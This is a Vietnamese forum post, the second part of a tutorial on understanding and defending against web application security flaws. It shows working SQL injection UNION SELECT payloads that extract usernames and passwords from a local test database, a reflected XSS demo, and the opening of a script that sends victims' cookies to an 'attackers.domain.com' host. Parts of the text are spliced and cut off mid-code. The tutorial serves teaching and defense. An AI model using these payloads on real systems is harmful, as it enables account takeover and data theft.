Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.


Diễn Đàn Tổng hợp
 
Trang ChínhLatest imagesTìm kiếmĐăng kýĐăng Nhập

 

 Tìm hiểu và chống lỗi bảo mật trong ứng dụng web (Phan 2)

Go down 
Tác giảThông điệp
Admin
Admin
Admin


Tổng số bài gửi : 139
Registration date : 25/02/2009

Tìm hiểu và chống lỗi bảo mật trong ứng dụng web (Phan 2) Empty
Bài gửiTiêu đề: Tìm hiểu và chống lỗi bảo mật trong ứng dụng web (Phan 2)   Tìm hiểu và chống lỗi bảo mật trong ứng dụng web (Phan 2) Icon_minitimeFri Feb 27, 2009 4:47 am

Kết quả ta được:
[[Image::BMLAMP_MySQL_012.jpg]]
Như vậy tài khoản trong bảng user đã bị lộ. Trở lại với trường hợp trang chỉ có ra một kết quả, mặc dù tập kết quả trả về từ query vẫn là 3, nhưng khi hiện ra trang chỉ lấy kết quả đầu tiên, nên hacker chưa thể có được kết quả trong bảng user. Ta thử với URL sau:
<pre>
http://localhost/SECURITY/union.php?id=-1' union select 1,name,pass from user %23'
</pre>
Kết quả ta được khi lấy toàn bộ kết quả:
[[Image::BMLAMP_MySQL_013.jpg]]
Khi lấy 1 kết quả:
[[Image::BMLAMP_MySQL_014.jpg]]
[[Image::BMLAMP_MySQL_015.jpg]]
Khi số id ở SELECT đầu tiên không tồn tại, tức kết quả trả về là rỗng, khi đó kết quả sẽ chỉ có ở SELECT thứ hai. Union dùng để gộp query với các bảng '''có số trường bằng nhau'''. Ta thử thêm một trường nữa vào bảng post:

PHP Code:
ALTER TABLE `post` ADD `order` VARCHAR( 100 ) NOT NULL AFTER `text` ;

Lúc này, bảng post đã có số trường khác với bảng user, ta chạy thử câu query ban đầu:

PHP Code:
SELECT * FROM post WHERE id='-1' union select id,name,pass from user #''

Ngay lập tức, MySQL sẽ báo lỗi hai bảng không có số trường bằng nhau:
[[Image::BMLAMP_MySQL_016.jpg]]
Nhưng hãy thử bằng query sau đây:

PHP Code:
SELECT * FROM post WHERE id='-1' union select id,name,pass,1 from user #''

Kết quả đã lấy được dữ liệu từ bảng user một cách hợp lệ mà không phải gặp thông báo lỗi:
[[Image::BMLAMP_MySQL_017.jpg]]
Từ đây ta rút ra được, đừng nên nghĩ rằng hai bảng không có số trường giống nhau thì sẽ không cho ra kết qua khi dùng Union!

Ngoài việc lấy dữ liệu, hacker còn có thê khai thác qua các lệnh INSERT và UPDATE để thêm mới hoặc cập nhật dữ liệu trái phép như thêm tài khoản mới với quyền quản trị, cập nhật từ người dùng bình thường thành quản trị. Hacker còn có thể lấy các thông tin về máy chủ CSDL bằng các hàm như: DATABASE(),USER(),SYSTEM_USER(). Nguy hiểm với dữ liệu hơn là có thể dùng lệnh DROP để xóa đi một bảng nào đó!
<input type="text" name="keyword" value="<?=$_POST['keyword']?>">&nbsp;<input type="submit" value="Search">
</form>
<?php
set_magic_quotes_runtime(FALSE);
if(isset($_POST['keyword']) && !empty($_POST['keyword'])) {
echo 'Từ khóa cần tìm là: '.$_POST['keyword'];
}
?>
Sau khi chạy trang, bạn hãy nhập đoạn sau vào ô tìm kiếm:

PHP Code:
Oh <script>alert('XSS')</script>

Kết quả ta được:
[[Image:BMLAMP_002.jpg]]

Như bạn thấy, mã javascript đã bị thực thi trái phép. Javascript có thể lấy được cookie, hacker có thể dùng đoạn mã sau đây để lấy cookie của người dùng, từ đó có thể truy cập trái phép vào tài khoản của họ nếu website không được bảo mật kỹ, hacker có thể lựa nạn nhân truy cập đường dẫn có kèm theo đoạn mã sau nếu dùng phương thức GET:

PHP Code:
<script>
document.location = 'http://attackers.domain.com/somescript.php?cookies=' + document
Về Đầu Trang Go down
https://ytuong.forumvi.com
 
Tìm hiểu và chống lỗi bảo mật trong ứng dụng web (Phan 2)
Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Tìm hiểu và chống lỗi bảo mật trong ứng dụng web
» Hiệu ứng làm nền web trông như Vũ Trụ
» Grammar 2.5 phần mềm học ngữ pháp tiếng anh hiệu quả
» Cách Ép Thành Công Thẻ Uniform +8,+9,+10 Trong FiFa Online 2 Hiện tại bản cập nhật 1081 vẫn còn một số lỗ hỏng trong hệ thống nên việc đột nhập vào các lỗ hỏng đó vẫn được một số hacker lợi dụng. Sau đây là một mẹo nhỏ giúp các bạn thành công trong việc n
» unCDcopy - Phần mềm chống sao chép CD

Permissions in this forum:Bạn không có quyền trả lời bài viết
 :: Phần mềm :: Phần mềm đồ họa, thiết kế, lập trình-
Chuyển đến